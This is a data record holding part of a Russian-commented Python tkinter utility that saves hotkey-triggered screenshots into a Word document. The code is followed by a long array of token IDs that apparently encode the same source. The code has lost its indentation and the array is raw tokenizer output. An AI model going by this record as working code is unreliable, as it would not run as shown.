self.work_state = WORK_CHILLING
keyboard.unhook_all()
self.start_button.config(text="Старт!")
self.change_state("enabled")
if self.chosen_opt.get()==CHSE_FS:
self.btn_choose1.config(state="disabled")
self.btn_choose1_X.config(state="disabled")
self.btn_choose1_Y.config(state="disabled")
self.btn_choose2.config(state="disabled")
self.btn_choose2_X.config(state="disabled")
self.btn_choose2_Y.config(state="disabled")
def process(self, err_queue):
try:
file_path = self.file_out_path.get().strip()
#Проверки
if file_path == "":
tm.showerror("Ошибка", "Выберите файл")
self.back_to_chill()
return
if not os.path.splitext(file_path)[1] in self.extensions:
question = tm.askyesno("Предупреждение", "Неправильный тип файла. Хотите создать новый .docx файл с тем же именем?")
if not question:
self.back_to_chill()
return
else:
self.file_out_path.set(self.file_out_path.get() + ".docx")
file_path += ".docx"
if not os.path.exists(file_path):
question = tm.askyesno("Предупреждение", "Файла не существует. Вы хотите создать его?")
if not question:
self.back_to_chill()
return
#============================================
#Открываем файл
self.document = docx.Document()
def really_processing():
try:
screen_path = os.path.join(self.cur_dir, "__TEMP__.png")
screen_path = os.path.abspath(screen_path)
img = ""
#Делаем скриншот
if self.chosen_opt.get() == CHSE_OWN:
ch1x = int(self.btn_choose1_X.get())
ch1y = int(self.btn_choose1_Y.get())
ch2x = int(self.btn_choose2_X.get())
ch2y = int(self.btn_choose2_Y.get())
capture_space = {"top":ch1x, "left":ch1y,
"width": ch2x-ch1x, "height":ch2y-ch1y}
with mss.mss() as print_screen:
img = print_screen.grab(capture_space)
mss.tools.to_png(img.rgb, img.size, output=screen_path)
elif self.chosen_opt.get() == CHSE_FS:
with mss.mss() as print_screen:
img = print_screen.shot(output=screen_path)
#Работа с docx и doc файлами
section = self.document.sections[0]
section.left_margin = docx.shared.Cm(1)
section.right_margin = docx.shared.Cm(1)
section.top_margin = docx.shared.Cm(1)
section.bottom_margin = docx.shared.Cm(1)
self.document.add_picture(screen_path, width=section.page_width-section.left_margin-
section.right_margin)
self.document.save(file_path)
os.remove(screen_path)
except Exception as err:
err_queue.put((err.__class__, traceback.format_exc()))
self.root.event_generate("<<On error>>")
keyboard.add_hotkey(self.key_name.get(), really_processing)
except Exception as err:
err_queue.put((err.__class__, traceback.format_exc()))
self.root.event_generate("<<On error>>")
#Функция для включения и выключения
#всех элементов интерфейса, кроме кнопки "Старт"
def change_state(self, st):
self.btn_choose1.config(state=st)
self.btn_choose1_X.config(state=st)
self.btn_choose1_Y.config(state=st)
self.btn_choose2.config(state=st)
self.btn_choose2_X.config(state=st)
self.btn_choose2_Y.config(state=st)
self.own_rbutton.config(state=st)
self.full_screen_button.config(state=st)
self.key_name_entry.config(state=st)
self.key_button.config(state=st)
self.file_out_path_entry.config(state=st)
self.save_button.config(state=st)
def start_working(self):
if self.work_state == WORK_CHILLING:
self.work_state = WORK_WORKING
self.start_button.config(text="Стоп")
# Отключаем всё
self.change_state("disabled")
#Создание потока
self.processing_thread = threading.Thread(target=self.process, args=(self.err_queue,))
self.processing_thread.start()
elif self.work_state == WORK_WORKING:
self.work_state = WORK_CHILLING
self.change_state("enabled")
if self.chosen_opt.get()==CHSE_FS:
self.btn_choose1.config(state="disabled")
self.btn_choose1_X.config(state="disabled")
self.btn_choose1_Y.config(state="disabled")
self.btn_choose2.config(state="disabled")
self.btn_choose2_X.config(state="disabled")
self.btn_choose2_Y.config(state="disabled")
self.start_button.config(text="Старт!")
def save_file(self):
self.file_out_path.set(
tf.asksaveasfilename(filetypes=[("Word-документ (*.docx)", "*.docx"),
("Word-документ устаревшего формата (*.doc)", "*.doc")])
)
def start(self):
self.root.mainloop()
| [
1,
529,
276,
1112,
420,
29958,
744,
29916,
29899,
15816,
1296,
29894,
436,
29914,
558,
275,
13,
3166,
18883,
1639,
1053,
2643,
1884,
408,
27702,
13,
3166,
349,
6227,
1053,
7084,
29892,
7084,
29911,
29895,
13,
3166,
18883,
1639,
1053,
4079,
13,
3166,
286,
893,
1053,
286,
893,
13,
3166,
9521,
1053,
5462,
434,
13,
13,
5215,
18883,
1639,
408,
18883,
13,
5215,
18883,
1639,
29889,
698,
29895,
408,
260,
11178,
13,
5215,
18883,
1639,
29889,
1445,
15901,
408,
15886,
13,
13,
5215,
2897,
29892,
9495,
29892,
12247,
29892,
9637,
1627,
29892,
591,
1327,
8777,
13,
5215,
3244,
292,
29892,
286,
893,
29889,
8504,
29892,
1574,
29916,
29892,
1574,
29916,
29889,
12366,
13,
13,
12750,
1254,
29918,
3210,
24071,
353,
29871,
29900,
13,
12750,
1254,
29918,
6404,
4214,
29896,
353,
29871,
29896,
13,
12750,
1254,
29918,
6404,
4214,
29906,
353,
29871,
29906,
13,
13,
3210,
1660,
29918,
9998,
353,
29871,
29896,
13,
3210,
1660,
29918,
9806,
29940,
353,
29871,
29906,
13,
13,
11686,
29968,
29918,
3210,
24071,
4214,
353,
29871,
29900,
13,
11686,
29968,
29918,
11686,
29968,
4214,
353,
29871,
29896,
13,
13,
1990,
14839,
29901,
13,
1678,
5535,
29918,
3859,
353,
27146,
1254,
29918,
3210,
24071,
13,
1678,
664,
29918,
3859,
353,
399,
1955,
29968,
29918,
3210,
24071,
4214,
13,
1678,
17752,
353,
518,
1642,
1514,
29916,
613,
11393,
1514,
3108,
13,
13,
1678,
4589,
29918,
9990,
353,
5462,
434,
580,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3611,
29892,
3151,
29918,
3972,
1125,
13,
4706,
1583,
29889,
4632,
353,
18883,
29889,
29911,
29895,
29898,
3257,
29897,
13,
4706,
1583,
29889,
2764,
29918,
3972,
353,
3151,
29918,
3972,
13,
4706,
1583,
29889,
4632,
29889,
19156,
703,
29945,
29900,
29900,
29916,
29941,
29900,
29900,
1159,
13,
4706,
1583,
29889,
4632,
29889,
3257,
29898,
3257,
29897,
13,
4706,
1583,
29889,
4632,
29889,
4144,
2966,
1958,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2764,
29918,
3972,
29892,
376,
690,
613,
376,
4144,
29889,
1417,
5783,
13,
4706,
1583,
29889,
4632,
29889,
690,
13902,
29898,
2103,
29922,
29900,
29892,
3171,
29922,
29900,
29897,
13,
13,
4706,
396,
15578,
29969,
1086,
29972,
642,
10766,
7894,
717,
13,
4706,
25989,
29918,
2492,
353,
7084,
29889,
3150,
29898,
359,
29889,
2084,
29889,
7122,
29898,
2764,
29918,
3972,
29892,
376,
690,
613,
29871,
13,
9651,
376,
16264,
29918,
11466,
29889,
2732,
5783,
13,
4706,
25989,
29918,
2492,
353,
7084,
29911,
29895,
29889,
25971,
2940,
29898,
16264,
29918,
2492,
29897,
13,
13,
4706,
9775,
29918,
2492,
353,
18883,
29889,
4775,
29898,
1311,
29889,
4632,
29892,
1967,
29922,
16264,
29918,
2492,
29897,
13,
4706,
9775,
29918,
2492,
29889,
21596,
353,
25989,
29918,
2492,
13,
4706,
9775,
29918,
2492,
29889,
6689,
29898,
29916,
29922,
29945,
29892,
29891,
29922,
29945,
29897,
13,
13,
4706,
3114,
353,
260,
11178,
29889,
5568,
580,
13,
4706,
3114,
29889,
17591,
703,
1357,
29889,
29911,
3125,
613,
4079,
29922,
703,
7658,
5990,
983,
613,
29871,
29896,
29947,
876,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
13,
4706,
396,
30012,
29982,
7677,
3807,
25816,
2721,
11245,
13,
4706,
822,
6755,
29918,
3149,
29896,
7295,
13,
9651,
1583,
29889,
2838,
29918,
3859,
353,
27146,
1254,
29918,
6404,
4214,
29896,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
353,
260,
11178,
29889,
3125,
29898,
726,
543,
229,
159,
158,
613,
3114,
543,
1357,
29889,
29911,
3125,
613,
13,
9651,
1899,
29922,
21803,
29918,
3149,
29896,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
2917,
29898,
2103,
29922,
29906,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
6689,
29898,
29916,
29922,
29945,
29892,
29891,
29922,
29945,
29897,
13,
4706,
396,
29990,
606,
612,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29918,
1643,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
4632,
29892,
13,
9651,
1426,
543,
29990,
29901,
16521,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
353,
260,
11178,
29889,
9634,
29898,
1311,
29889,
4632,
29892,
2920,
29922,
29955,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29918,
1643,
29889,
6689,
29898,
29916,
29922,
29946,
29945,
29892,
343,
29922,
29945,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
6689,
29898,
29916,
29922,
29953,
29900,
29892,
343,
29922,
29945,
29897,
13,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29918,
1643,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
4632,
29892,
13,
9651,
1426,
543,
29979,
29901,
16521,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
353,
260,
11178,
29889,
9634,
29898,
1311,
29889,
4632,
29892,
2920,
29922,
29955,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29918,
1643,
29889,
6689,
29898,
29916,
29922,
29896,
29896,
29900,
29892,
343,
29922,
29945,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
6689,
29898,
29916,
29922,
29896,
29906,
29945,
29892,
343,
29922,
29945,
29897,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
13,
4706,
396,
30012,
29982,
7677,
3807,
22454,
29977,
2721,
11245,
13,
4706,
822,
6755,
29918,
3149,
29906,
7295,
13,
9651,
1583,
29889,
2838,
29918,
3859,
353,
27146,
1254,
29918,
6404,
4214,
29906,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
353,
260,
11178,
29889,
3125,
29898,
726,
543,
229,
159,
158,
613,
3114,
543,
1357,
29889,
29911,
3125,
613,
13,
9651,
1899,
29922,
21803,
29918,
3149,
29906,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
2917,
29898,
2103,
29922,
29906,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
6689,
29898,
29916,
29922,
29906,
29955,
29945,
29892,
29891,
29922,
29896,
29955,
29945,
29897,
13,
4706,
396,
29990,
606,
612,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29918,
1643,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
4632,
29892,
13,
9651,
1426,
543,
29990,
29901,
16521,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
353,
260,
11178,
29889,
9634,
29898,
1311,
29889,
4632,
29892,
2920,
29922,
29955,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29918,
1643,
29889,
6689,
29898,
29916,
29922,
29896,
29896,
29900,
29892,
343,
29922,
29896,
29947,
29955,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
6689,
29898,
29916,
29922,
29896,
29906,
29945,
29892,
343,
29922,
29896,
29947,
29955,
29897,
13,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29918,
1643,
353,
260,
11178,
29889,
4775,
29898,
1311,
29889,
4632,
29892,
13,
9651,
1426,
543,
29979,
29901,
16521,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
353,
260,
11178,
29889,
9634,
29898,
1311,
29889,
4632,
29892,
2920,
29922,
29955,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29918,
1643,
29889,
6689,
29898,
29916,
29922,
29896,
29955,
29945,
29892,
343,
29922,
29896,
29947,
29955,
29897,
13,
4706,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
6689,
29898,
29916,
29922,
29896,
29929,
29900,
29892,
343,
29922,
29896,
29947,
29955,
29897,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
13,
4706,
396,
30012,
29982,
7677,
3212,
5508,
7082,
1606,
29960,
19414,
6231,
13514,
13,
4706,
1583,
29889,
305,
7749,
29918,
3670,
353,
18883,
29889,
2928,
9037,
580,
13,
4706,
822,
373,
29918,
5847,
7295,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
4706,
373,
29918,
5847,
580,
13,
4706,
1583,
29889,
8159,
29918,
10525,
29918,
3092,
353,
260,
11178,
29889,
21818,
3092,
29898,
726,
543,
30012,
29919,
1210,
18796,
3048,
613,
1767,
29922,
3210,
1660,
29918,
9998,
29892,
13,
9651,
2286,
29922,
1311,
29889,
305,
7749,
29918,
3670,
29892,
1899,
29922,
265,
29918,
5847,
29897,
13,
13,
4706,
822,
373,
29918,
776,
7295,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
2917,
29898,
3859,
543,
17590,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
2917,
29898,
3859,
543,
17590,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
2917,
29898,
3859,
543,
17590,
1159,
13,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
2917,
29898,
3859,
543,
17590,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
2917,
29898,
3859,
543,
17590,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
2917,
29898,
3859,
543,
17590,
1159,
632,
13,
4706,
1583,
29889,
776,
29918,
29878,
3092,
353,
260,
11178,
29889,
21818,
3092,
29898,
726,
543,
30008,
11318,
2771,
7677,
613,
1767,
29922,
3210,
1660,
29918,
9806,
29940,
29892,
13,
9651,
2286,
29922,
1311,
29889,
305,
7749,
29918,
3670,
29892,
1899,
29922,
265,
29918,
776,
29897,
13,
4706,
1583,
29889,
8159,
29918,
10525,
29918,
3092,
29889,
6689,
29898,
29916,
29922,
29896,
29896,
29900,
29892,
29891,
29922,
29947,
29945,
29897,
13,
4706,
1583,
29889,
776,
29918,
29878,
3092,
29889,
6689,
29898,
29916,
29922,
29896,
29896,
29900,
29892,
343,
29922,
29896,
29900,
29945,
29897,
13,
4706,
1583,
29889,
305,
7749,
29918,
3670,
29889,
842,
29898,
29896,
29897,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
13,
4706,
396,
30013,
10285,
2494,
29972,
717,
13,
4706,
13182,
29918,
26648,
29896,
353,
260,
11178,
29889,
4775,
29898,
726,
543,
30012,
16223,
1488,
2771,
23243,
9308,
665,
29998,
989,
730,
665,
1186,
570,
29964,
1382,
13218,
229,
159,
158,
23370,
29905,
29876,
17969,
13,
462,
462,
259,
376,
29981,
702,
6326,
28673,
4751,
12831,
8150,
1186,
570,
29964,
717,
26907,
1911,
29898,
551,
753,
1325,
4751,
2144,
29876,
17969,
13,
462,
462,
259,
376,
4938,
8355,
1413,
863,
588,
29944,
3807,
23380,
1630,
29960,
588,
693,
4222,
29892,
12423,
29905,
29876,
17969,
13,
462,
462,
259,
376,
4389,
587,
29333,
22511,
30043,
29892,
4281,
21944,
5686,
5532,
7947,
23157,
13,
4706,
13182,
29918,
26648,
29896,
29889,
6689,
29898,
29916,
29922,
29896,
29900,
29892,
343,
29922,
29906,
29906,
29900,
29897,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
13,
4706,
396,
30012,
29982,
20338,
3098,
21527,
13603,
531,
24794,
9860,
28673,
642,
12831,
8150,
1186,
570,
29964,
717,
26907,
1911,
13,
4706,
822,
373,
29918,
21803,
29918,
3808,
7295,
13,
9651,
926,
29916,
29892,
926,
29891,
353,
9495,
29889,
657,
29918,
3283,
580,
13,
9651,
565,
1583,
29889,
2838,
29918,
3859,
1275,
27146,
1254,
29918,
6404,
4214,
29896,
29901,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
8143,
29898,
29900,
29892,
18883,
29889,
11794,
29897,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
7851,
29898,
11178,
29889,
11794,
29892,
851,
29898,
1066,
29916,
876,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
8143,
29898,
29900,
29892,
18883,
29889,
11794,
29897,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
7851,
29898,
11178,
29889,
11794,
29892,
851,
29898,
1066,
29891,
876,
13,
18884,
1583,
29889,
2838,
29918,
3859,
353,
27146,
1254,
29918,
3210,
24071,
13,
9651,
25342,
1583,
29889,
2838,
29918,
3859,
1275,
27146,
1254,
29918,
6404,
4214,
29906,
29901,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
8143,
29898,
29900,
29892,
18883,
29889,
11794,
29897,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
7851,
29898,
11178,
29889,
11794,
29892,
851,
29898,
1066,
29916,
876,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
8143,
29898,
29900,
29892,
18883,
29889,
11794,
29897,
13,
18884,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
7851,
29898,
11178,
29889,
11794,
29892,
851,
29898,
1066,
29891,
876,
13,
18884,
1583,
29889,
2838,
29918,
3859,
353,
27146,
1254,
29918,
3210,
24071,
13,
4706,
9495,
29889,
265,
29918,
17662,
29918,
3808,
29898,
265,
29918,
21803,
29918,
3808,
29897,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
308,
13,
4706,
396,
30013,
494,
17423,
18779,
477,
20796,
5588,
13,
4706,
664,
29918,
2557,
353,
260,
11178,
29889,
4308,
29898,
1311,
29889,
4632,
29897,
13,
308,
13,
4706,
396,
30008,
29904,
15177,
16990,
6725,
29977,
684,
13,
4706,
1583,
29889,
1445,
29918,
1643,
353,
260,
11178,
29889,
4775,
29898,
1287,
29918,
2557,
29892,
1426,
543,
30061,
29910,
29977,
29944,
29901,
16521,
13,
4706,
1583,
29889,
1445,
29918,
1643,
29889,
7720,
29898,
798,
29922,
29900,
29892,
1897,
29922,
29896,
29892,
12070,
29891,
543,
29893,
613,
17132,
29916,
29922,
29945,
29897,
13,
13,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
353,
18883,
29889,
1231,
9037,
580,
13,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29918,
8269,
353,
260,
11178,
29889,
9634,
29898,
1287,
29918,
2557,
29892,
1426,
11918,
29922,
1311,
29889,
1445,
29918,
449,
29918,
2084,
29897,
13,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29918,
8269,
29889,
2917,
29898,
2103,
29922,
29906,
29947,
29897,
13,
308,
13,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29918,
8269,
29889,
7720,
29898,
798,
29922,
29896,
29892,
1897,
29922,
29896,
29892,
282,
3714,
29922,
29945,
29892,
17132,
29916,
29922,
29945,
29897,
13,
4706,
1583,
29889,
7620,
29918,
3092,
353,
260,
11178,
29889,
3125,
29898,
1287,
29918,
2557,
29892,
1426,
543,
30008,
29904,
15177,
507,
1413,
856,
613,
1899,
29922,
1311,
29889,
7620,
29918,
1445,
29897,
13,
4706,
1583,
29889,
7620,
29918,
3092,
29889,
2917,
29898,
2103,
29922,
29896,
29945,
29897,
13,
4706,
1583,
29889,
7620,
29918,
3092,
29889,
7720,
29898,
798,
29922,
29906,
29892,
1897,
29922,
29896,
29892,
17132,
29916,
29922,
29945,
29892,
12070,
29891,
543,
29876,
344,
29893,
1159,
13,
4706,
396,
9166,
13,
13,
4706,
396,
30014,
2583,
1093,
17423,
9955,
1221,
4604,
13,
4706,
1583,
29889,
1989,
29918,
1643,
353,
260,
11178,
29889,
4775,
29898,
1287,
29918,
2557,
29892,
1426,
543,
30014,
684,
1221,
4604,
29901,
16521,
13,
4706,
1583,
29889,
1989,
29918,
1643,
29889,
7720,
29898,
798,
29922,
29941,
29892,
1897,
29922,
29896,
29892,
12070,
29891,
543,
29893,
613,
17132,
29916,
29922,
29945,
29897,
13,
4706,
1583,
29889,
1989,
29918,
978,
353,
18883,
29889,
1231,
9037,
580,
13,
4706,
1583,
29889,
1989,
29918,
978,
29889,
842,
703,
2158,
4315,
1159,
13,
4706,
1583,
29889,
1989,
29918,
978,
29918,
8269,
353,
260,
11178,
29889,
9634,
29898,
1287,
29918,
2557,
29892,
1426,
11918,
29922,
1311,
29889,
1989,
29918,
978,
29897,
13,
4706,
1583,
29889,
1989,
29918,
978,
29918,
8269,
29889,
7720,
29898,
798,
29922,
29946,
29892,
1897,
29922,
29896,
29892,
12070,
29891,
543,
29876,
344,
29893,
613,
282,
3714,
29922,
29945,
29892,
17132,
29916,
29922,
29945,
29897,
13,
4706,
1583,
29889,
1989,
29918,
978,
29918,
8269,
29889,
2917,
29898,
3859,
29922,
11178,
29889,
23711,
6181,
29928,
29897,
13,
13,
4706,
822,
337,
7922,
29918,
3092,
7295,
13,
9651,
1583,
29889,
1989,
29918,
978,
29889,
842,
29898,
1989,
3377,
29889,
949,
29918,
1989,
3101,
13,
4706,
1583,
29889,
1989,
29918,
3092,
353,
260,
11178,
29889,
3125,
29898,
1287,
29918,
2557,
29892,
1426,
543,
30013,
1719,
477,
4372,
1499,
1413,
613,
1899,
29922,
276,
7922,
29918,
3092,
29897,
13,
4706,
1583,
29889,
1989,
29918,
3092,
29889,
7720,
29898,
798,
29922,
29945,
29892,
1897,
29922,
29896,
29892,
17132,
29916,
29922,
29945,
29892,
12070,
29891,
543,
29876,
344,
29893,
1159,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
13,
4706,
396,
30008,
5551,
16166,
665,
1909,
15884,
702,
10598,
13,
4706,
1583,
29889,
20095,
29918,
2324,
353,
260,
11178,
29889,
4775,
29898,
1287,
29918,
2557,
29892,
1426,
29922,
13,
9651,
525,
991,
597,
3292,
29889,
510,
29914,
744,
29916,
2612,
29876,
15816,
1296,
29894,
436,
29914,
558,
275,
1495,
13,
4706,
1583,
29889,
20095,
29918,
2324,
29889,
7720,
29898,
798,
29922,
29953,
29892,
1897,
29922,
29896,
29892,
17132,
29916,
29922,
29945,
29892,
282,
3714,
29922,
29945,
29892,
12070,
29891,
543,
29876,
344,
29893,
1159,
13,
4706,
822,
1722,
29918,
20095,
7373,
1125,
13,
9651,
591,
1327,
8777,
29889,
3150,
703,
991,
597,
3292,
29889,
510,
29914,
744,
29916,
29899,
15816,
1296,
29894,
436,
29914,
558,
275,
613,
716,
29922,
29906,
29897,
13,
4706,
1583,
29889,
20095,
29918,
2324,
29889,
5355,
28945,
3125,
29899,
29896,
28341,
1722,
29918,
20095,
29897,
13,
13,
4706,
396,
15578,
2968,
6231,
14852,
13637,
13,
4706,
1583,
29889,
2962,
29918,
3092,
353,
260,
11178,
29889,
3125,
29898,
726,
543,
30008,
676,
8113,
29991,
613,
1899,
29922,
1311,
29889,
2962,
29918,
22899,
29897,
13,
4706,
1583,
29889,
2962,
29918,
3092,
29889,
6689,
29898,
29916,
29922,
29941,
29896,
29945,
29892,
343,
29922,
29906,
29906,
29945,
29892,
2920,
29922,
29896,
29955,
29945,
29892,
3171,
29922,
29945,
29945,
29897,
13,
13,
4706,
664,
29918,
2557,
29889,
6689,
29898,
29916,
29922,
29941,
29896,
29900,
29892,
343,
29922,
29945,
29897,
13,
4706,
396,
9166,
9166,
4936,
2751,
13,
4706,
822,
3682,
29918,
19170,
7373,
1125,
13,
9651,
565,
451,
1583,
29889,
3127,
29918,
9990,
29889,
6310,
7295,
13,
18884,
11594,
353,
1583,
29889,
3127,
29918,
9990,
29889,
657,
580,
13,
18884,
565,
11594,
29961,
29900,
29962,
1275,
20894,
2333,
2392,
29901,
13,
462,
1678,
27702,
29889,
845,
1680,
729,
703,
30053,
29964,
29935,
29991,
613,
376,
30013,
13551,
4734,
18774,
614,
1911,
23348,
1447,
12308,
1186,
6725,
29977,
1844,
29889,
3982,
29951,
6318,
730,
6495,
20796,
5588,
29892,
490,
18662,
24160,
4364,
13218,
17969,
13,
462,
4706,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29889,
657,
580,
13578,
5931,
606,
2942,
1902,
29969,
1086,
1916,
730,
20796,
1805,
1159,
13,
18884,
1683,
29901,
13,
462,
1678,
27702,
29889,
845,
1680,
729,
703,
30053,
29964,
29935,
29991,
613,
376,
30013,
13551,
4734,
18774,
614,
1911,
23348,
15691,
710,
29898,
1837,
29961,
29900,
2314,
29974,
1115,
29905,
29876,
17969,
710,
29898,
1837,
29961,
29896,
2314,
29974,
13,
462,
4706,
6634,
29876,
30013,
1719,
1902,
29969,
1086,
1916,
730,
20796,
1805,
606,
733,
5945,
3378,
29977,
730,
20991,
3212,
29889,
3337,
12068,
614,
1911,
23348,
5885,
24689,
7489,
29892,
6712,
1911,
730,
665,
529,
26862,
6227,
29958,
1159,
13,
13,
18884,
1583,
29889,
3127,
29918,
9990,
29889,
7662,
29918,
15091,
580,
13,
4706,
1583,
29889,
4632,
29889,
5355,
703,
9314,
2951,
1059,
6778,
613,
3682,
29918,
19170,
29897,
13,
268,
13,
1678,
822,
1250,
29918,
517,
29918,
305,
453,
29898,
1311,
1125,
13,
4706,
1583,
29889,
1287,
29918,
3859,
353,
399,
1955,
29968,
29918,
3210,
24071,
4214,
13,
4706,
12247,
29889,
348,
20849,
29918,
497,
580,
13,
4706,
1583,
29889,
2962,
29918,
3092,
29889,
2917,
29898,
726,
543,
30008,
676,
8113,
29991,
1159,
13,
4706,
1583,
29889,
3167,
29918,
3859,
703,
17590,
1159,
13,
4706,
565,
1583,
29889,
305,
7749,
29918,
3670,
29889,
657,
580,
1360,
3210,
1660,
29918,
9998,
29901,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29990,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29896,
29918,
29979,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29990,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
9651,
1583,
29889,
7290,
29918,
21803,
29906,
29918,
29979,
29889,
2917,
29898,
3859,
543,
18279,
1159,
13,
13,
1678,
822,
1889,
29898,
1311,
29892,
4589,
29918,
9990,
1125,
13,
4706,
1018,
29901,
13,
9651,
934,
29918,
2084,
353,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29889,
657,
2141,
17010,
580,
13,
13,
9651,
396,
30013,
2899,
780,
717,
13,
9651,
565,
934,
29918,
2084,
1275,
376,
1115,
13,
18884,
27702,
29889,
845,
1680,
729,
703,
30038,
1911,
23348,
613,
376,
30012,
29982,
3759,
23314,
6725,
29977,
29944,
1159,
13,
18884,
1583,
29889,
1627,
29918,
517,
29918,
305,
453,
580,
13,
18884,
736,
13,
9651,
565,
451,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
1445,
29918,
2084,
9601,
29896,
29962,
297,
1583,
29889,
24299,
29901,
13,
18884,
1139,
353,
27702,
29889,
1278,
3582,
1217,
703,
30013,
587,
1520,
5784,
27625,
613,
376,
30029,
29919,
19524,
24178,
7109,
29964,
6725,
29977,
684,
29889,
14120,
811,
730,
14507,
1413,
13074,
11767,
869,
1514,
29916,
6725,
29977,
29944,
531,
14197,
5865,
27664,
3098,
29973,
1159,
13,
18884,
565,
451,
1139,
29901,
13,
462,
1678,
1583,
29889,
1627,
29918,
517,
29918,
305,
453,
580,
13,
462,
1678,
736,
13,
18884,
1683,
29901,
13,
462,
1678,
1583,
29889,
1445,
29918,
449,
29918,
2084,
29889,
842,
29898,
1311,
29889,
1445,
29918,
449,
29918,
2084,
29889,
657,
580,
718,
11393,
1514,
29916,
1159,
13,
462,
1678,
934,
29918,
2084,
4619,
11393,
1514,
29916,
29908,
13,
9651,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
1445,
29918,
2084,
1125,
13,
18884,
1139,
353,
27702,
29889,
1278,
3582,
1217,
703,
30013,
587,
1520,
5784,
27625,
613,
376,
30061,
29910,
29977,
684,
1538,
19391,
25251,
29889,
14966,
6785,
811,
730,
14507,
1413,
5686,
29973,
1159,
13,
18884,
565,
451,
1139,
29901,
13,
462,
1678,
1583,
29889,
1627,
29918,
517,
29918,
305,
453,
580,
13,
462,
1678,
736,
13,
9651,
396,
9166,
9166,
4936,
2751,
13,
13,
9651,
396,
30038,
29932,
10300,
846,
3098,
6725,
